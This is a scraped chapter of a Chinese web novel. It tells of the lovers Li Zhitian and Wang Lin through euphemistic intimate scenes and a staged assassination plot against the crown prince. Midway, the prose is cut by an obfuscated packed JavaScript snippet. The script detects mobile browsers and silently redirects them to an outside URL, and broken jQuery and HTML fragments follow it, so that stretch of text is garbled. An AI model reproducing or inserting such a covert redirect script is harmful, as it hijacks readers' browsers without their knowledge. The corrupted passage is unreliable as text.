默认冷灰
24号文字
方正启体

47. 得逞

作者:一盏茶歌本书字数:K更新时间:
    此时轮到李芷恬好整以暇的看着他。


    她笑得妖娆,眼眉染春色,声音婉转如莺啼:“今夜甚美,不若我带你去月上檀宫游一圈……”


    冰凉的指尖带着勾人的柔媚,滑过他的喉结:“闯一闯仙宇宫阙,窥一窥仙人仙姿玉貌……”


    指尖向下,掠过胸膛未停,“再入蟠桃园,与月兔嬉戏,摘些仙桃……”


    她细瘦的上身微微弯折向上,秦首后仰,凑近他耳边,唇齿间徘徊着扰人的魅惑:“与你一起吃下长生果,观亘古,赴永生……”


    王麟轻笑一声,冰冷的手拖住她弧度娇媚的脖颈,笑意森森,獠牙一口咬上那柔脆的细弱,低鸣:“很好,如此自信……”


    齿间摩挲着那片软肉,恨不得啃咬而下,“现在,我就将你这自信烧成齑粉!”


    ……


    李芷恬从未梦见过天上宫阙,所知所想皆来自往日看的杂书。


    她看的很杂,坊间禁|书也拜读了不少,自前世起,她一直以为书中那些描绘不过字面点缀的修辞。


    直至此刻,她方知自己还是浅显了……


    天界白光如炽,她记不清望见过几次仙光,仙光耀耀灼眼,照得她睁不开眼,屡屡都瞧不清那光芒的瑰丽。


    眼前流光溢彩,绚烂纷呈,一时是裹着金边的白,一时又是夹着粉幻的红。


    耳边仙音缥缈,好似有仙人奏乐,奏的是一曲迷蒙空灵的歌。


    歌声时而低缓,时而湍急,时而悠然如清风,时而澎湃如银河。


    银河之内繁星闪烁,美轮美奂,翻搅腾挪溅射出璀璨碎裂的星潮浪花,一波接着一波,余波未尽,又一波袭来将她掩埋。


    她的呼吸都被夺走了,明明仙界清冷,仙光雅韵如清霜,可她被那银河抚慰,点点星光汇集成热浪,不停的将她席卷裹挟。她似搁浅的鱼,急切的抢夺唇间稀薄的空气。


    浪头一下将她抛起,一下又将她砸下,起起伏伏间,她好似真尝见了仙桃甘醴般的汁水。


    甜腻腥鲜,浓郁的麝|香气息混着鲜血淡淡的靡丽,在胸口汇聚成满溢的仙果酸甜,勾惹得她食髓知味。


    就是吃得有些饱胀,她已食得满足,眼睑轻闭就要睡去。


    可与她共赴仙宫的同伴却犹不知足。


    他一次又一次用行动唤醒了她,流连忘返,乐不思蜀……


    待她再回人间时,已是第二日夜间。


    整整一日,她几乎未有清醒的时候,瞥了眼床帘外的天光,懒懒伸手勾帘。


    柔夷将将探出半截,一只修长的手又将它卷了回去。


    不肖时,床儿又摇了起来,摇得夜色都醉了。


    她恼了。


    不待她发作,那恼怒霎时间又被他一口一口吃下。


    她终于投降,暗恨自己玩火自焚。


    虽然烧得她很美。


    待一切结束,她再也不敢咬他,无赖的攀住他,撒娇道:“麟哥哥你得换药了。”


    她手摸向他背部,鲜血早已渗透出绷带,沾了一手濡湿。


    她是真心疼他。


    可他却不太心疼自己。


    他不在意一笑,也不知说的是真话假话,只听语气不大好,“无妨,轻伤而已。”


    他还在记仇,拿话堵她呢。


    整整一日,便是铁打的身子,也会受不住。


    她以为他多少能消些气,可这气听起来,怎么有越烧越烈的架势?


    她耍起惯用的手段,可怜道:“麟哥哥,阿恬知错了,你气也好,骂也好,总归先将伤处理了。”


    柔软欺近,他心头歇下的浪潮不由自主的又开始泛滥,口中冷然道:“你刺激我,不就想让我失控吗?做事前怎未考虑到我?”


    说着,他抱起她,终于走下长久不曾离开的床榻,“更不曾考虑你自己。”


    明明是在教训她,她却听得心里甜暖,在他耳边悄声道:“我虽知麟哥哥喜欢我,但总觉得缺了什么,如今这缺的一角,总算给你我二人补上了。”


    王麟脚步一顿,垂下头,随手拿过一件裂了半截的外衫,轻柔盖在她身上,才继续向净房走去。


    李芷恬最喜他这不动声色的温柔,甜言蜜语不吝啬的砸下来,“我想给麟哥哥生孩子。”


    王麟不语。


    净房浴桶内不知何时已备上了香汤,他缓缓将她放入温水中,人也跟着进来。


    他靠在她身后,亲手为她洗净身上污浊,长指被温润裹了层润泽的水膜,抚在身上温暖而柔滑。


    汤水泛起的氤氲,逐渐又变得旖旎起来。


    许久,王麟突然在身后道:“半年,半年之内我会让你冠上王姓。”声音嘶哑,好似水波皱起的弧度,拉扯得人情深缱绻。


    不多时,浪涛又起。


    也不知过了多久,她已没了时间的概念。


    她只觉头脑发昏,是真撑不住了,几乎溺毙在浴桶中,都是给王麟折磨——饿的。


    二人出来时,她连动手指头的力气都没了,颤巍巍站着,要倒不倒的。


    之前的衣裳已不能穿,王麟不知何时给她又找来了新衣,正亲手为她穿戴。


    她瞅了眼地上散的四处都是的碎衣料,脸有些红。


    “一会……让清荷来收拾吧。”


    王麟正坐在塌上给她系着衣带,闻言抬眼看了她一眼,那一眼含着调笑,波光潋滟,她赶忙转开了头。


    “谁来都一样。”


    他揽着她走到桌案前,桌上备了夜间小食,简单的几味素菜,也勾得她垂涎欲滴。


    不待招呼,她就坐下吃了起来。


    “一会我送你回崔念那去。”


    李芷恬闻言一愣,转头瞧了眼屋外的天色,窗外月朗星稀,夜已深沉。


    她正纠结着,就听王麟道:“你再与我一处,我这伤真好不了了。”


    李芷恬几分黯然,喃喃道:“我可以睡隔壁的。”


    王麟低笑一声,抬手抹去她唇角沾上的糕点碎屑,嫩绿的碎渣,被他送入红唇白齿。


    李芷恬怔怔看着,他好似未能品出那丝甜,倾身过来微微含住了她的唇,待终于尝够了那清甜,才声音低哑道:“阿恬,你在这,我怕我会忍不住。”


    即便二人之间发生过无间亲密,她也被这句话烧得脸上发烫。


    这人——是属妖精的吧!


    李芷恬不再拒绝,低头三两口赶紧吃完了桌上残余,待喝过一盏饭后茶,混沌的思绪才逐渐变得清明。


    王麟起身正要拉她走,她忽然一把扯住他,问道:“我还没来得及问你,二皇子遇刺是怎么回事?”


    他前几日都跟在二皇子身侧,她不信他不知其中关节。这两日她在房中,消息闭塞,也不知皇子遇刺,圣人是如何处理的。


    王麟似不愿多说,只道:“不过党争之间的小把戏罢了。”


    二皇子前几日刚得了圣人的青眼,有哪个不长脑袋的会在此时行刺他?莫非……


    “总不会是太子吧?”


    王麟笑了笑,笑得意味深长,“并非是他,却也与他有关。”


    李芷恬闻言,立马拉着他坐回原处,正色道:“此事到底是怎么回事?”一副他不回答,她便不会罢休的态度。


    王麟瞥了眼窗外天色,轻叹口气,只得跟她和盘托出:“你交给我的鹿儿寺线人,在你第一次告知我时,我就找过去了。”


    李芷恬一愣,瞬间严肃起来,此事果然与他有关。


    王麟道:“他们很警醒,我多次试才探取得他们的信任,据他们所述,应王仓促结案背后的真正原因,是保太子。”


    李芷恬一惊,“太子?”


    王麟倒了盏茶,兀自喝了两口,才道:“应王收受的贿金的确尽数交于了圣人,然而,之前所收金银却都流进了太子东宫。”


    “太子这是……”


    “应王与太子捆绑紧密,党争之事,太子耗费巨大,入不敷出,于是只能倚靠应王。”


    王麟淡淡道:“然而,贿金数额越来越大,眼见着要兜不住了,应王只得借你退亲之事,直接结案并且转移视线,上缴自己的几万两黄金,帮太子隐藏在后。”


    王麟哂笑一声,“太子如今少了一笔大进项,急需用钱,便考虑借助联姻筹钱,你们李氏曾有意与应王联姻,太子盯上你也是原因之一。”


    李芷恬嫌弃皱眉:“他想的真好。”


    王麟轻抚她脸颊,柔声道:“不怕,他还没那能耐。”


    李芷恬笑了笑,顺势揽过他的手,娇笑道:“有你和阿耶在,我才不怕。”


    王麟轻轻拍了拍她,继续道:“我将计就计,与二皇子设计了这一场刺杀。”


    李芷恬问:“那为何遇刺对象是二皇子?”


    王麟答:“将线人不动声色送到圣人眼前难度太大,不如行一场‘苦肉计’。二皇子遇刺圣人必然亲自会追查,线人的确从未见过太子与二皇子,待线人到了圣人面前,再和盘托出,圣人势必要重审盐税案。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917944|171006||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    李芷恬赞道:“麟哥哥真厉害!”


    王麟宠溺的抚了抚她的青丝,继而道:“你也别太乐观,如今圣人心是偏的,圣人具体如何裁夺还未可知。”


    李芷恬笑容渐收,担忧道:“圣人这几年愈发……”后续的话语她不好直说。


    王麟眸光闪过一丝冷意,“圣人沉迷修道问药,那云鹤天师日日为他炼丹延寿,圣人意识反而越来越不清醒,朝臣颇有微词却不敢置喙……”


    王麟收了话语,似不想在此类事情上与她相谈过深。王麟并非李启铭,李启铭会与李芷恬剖析朝堂,了解天下大势,而他,只想她百岁无忧,为她保驾护航。


    他又看了眼天色,李芷恬顺着他的目光望去,心里一喜,跟他商量道:“都这个点了……崔氏院子已经落了锁。麟哥哥,你让下人将隔壁房间收拾出来吧。”


    也不知她是有意还是无意,非拉着他这么晚聊正事,不知不觉将时辰拖到了子时。


    王麟无奈一笑,双臂将她整个托起来,抱着向内间行去,“你在我这,岂还有分床睡的道理。”


    李芷恬咯咯的笑,眼里闪着狡狯的光,头轻轻搭在他宽阔的肩膀上,满足又安心道:“你总归是舍不得我的。”


    凌乱的床榻还未收拾,方穿戴整齐的襦裙又给他亲手褪下,他轻吻她鼻尖,低声道了句,“小狐狸……”


    李芷恬勾着他,极尽妖娆,笑得魅惑众生,她就喜欢打破他的克制。


    夜,又变得深长而缭乱。


    ……


    秋猎因二皇子遇刺,闹得圣人兴致全无,原本为期半个月的行程,提早五日结束。


    行刺的凶手被拿下,果然如王麟所料,圣人听得禀报亲自提审了凶犯,事关太子,圣人不敢妄下定论,无奈事情闹得太大,已无法强行压下,迫于压力,圣人只道回朝后,再命大理寺和刑部重审此案。


    太子被推上风口浪尖,登时消停了不少,因应王还在宗庙思过,太子情急之下,想求助郑氏,虽说郑氏与太子是一路的,也架不住太子这堂而皇之的愚蠢行径。郑氏因为李启铭辞官之后,被圣人盯得紧,近日里与太子暗中联系都少,如今太子明面上派人前来求助,岂不是昭显郑氏与他狼狈为奸?


    郑氏一面跟太子周旋,一面又跟圣人解释,一时捉襟见肘,疲于应付。


    圣人眼见着对太子愈发不满起来。


    李芷恬坐在牛车内,听紫棠与她回报近日打探到的消息,心里暗笑太子的蠢钝。


    勿怪朝内党争愈演愈烈,实在是这太子……太不争气了些。


    蓝采此时期期艾艾的掀开车帘,手上拿着一封信,她望了眼李芷恬,犹豫再三,终是没有开口,只将信封上的名字给她亮了一眼。


    李芷恬一瞥,顿时没好气道:“给我烧了!”


    蓝采闻言顿时笑了,高兴道了句“好嘞!”跳下牛车就去寻人找火折子。


    紫棠也瞧见了信上名讳,暗叹一声,这梁公子也太过阴魂不散了些。


    梁勋送信来的事,也不知怎么就传到了王麟耳里。


    彼时,他正骑着马跟在王艺儒牛车边,王艺儒抓着他不停的碎碎叨叨,话里话外都是规劝他要知节制,得顾忌着李家那几位长辈的颜面。


    王麟听着听着,原本稳固的意志也开始动摇,然而做都做了,自己着了李芷恬的道,总归不能怪到她头上。


    他低头思索回去该如何承受李启铭的责问和三哥李致睿的怒火,弄风就在此时插了进来。他将梁勋送信一事说完,王麟直接一扬马鞭,随口跟王艺儒道了句:“你回京直接回府,不必等我,我得在李府呆几日。”


    王艺儒瞠目结舌看着他扬长而去的背影,愣了好半晌,气着跟贴身侍女抱怨道:“你说,我这弟弟日后到底要娶妻还是入赘!”


    侍女捂着嘴低低笑着,劝道:“奴婢却觉得,小公子遇上李家娘子,才有个人样。”


    王艺儒想了想,随即长叹一声,无奈道:“罢了,罢了,待咱家上门纳采时,我多添些礼吧。”


    王麟直接进了李芷恬的牛车,闲散的往车座上一躺,自始至终不发一言。


    前脚刚烧了信,后脚他就来了,李芷恬怎会不知他前来的目的?正纳闷他的沉默,打算如实告知,还未开口就听王麟淡然道了句:“无关之人,阿恬不必多说。”


    李芷恬眨巴眨巴眼睛,心道:既是无关之人,那你还紧巴巴跑过来守着?


    想与王麟好生攀谈,却见他又闭目养神起来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)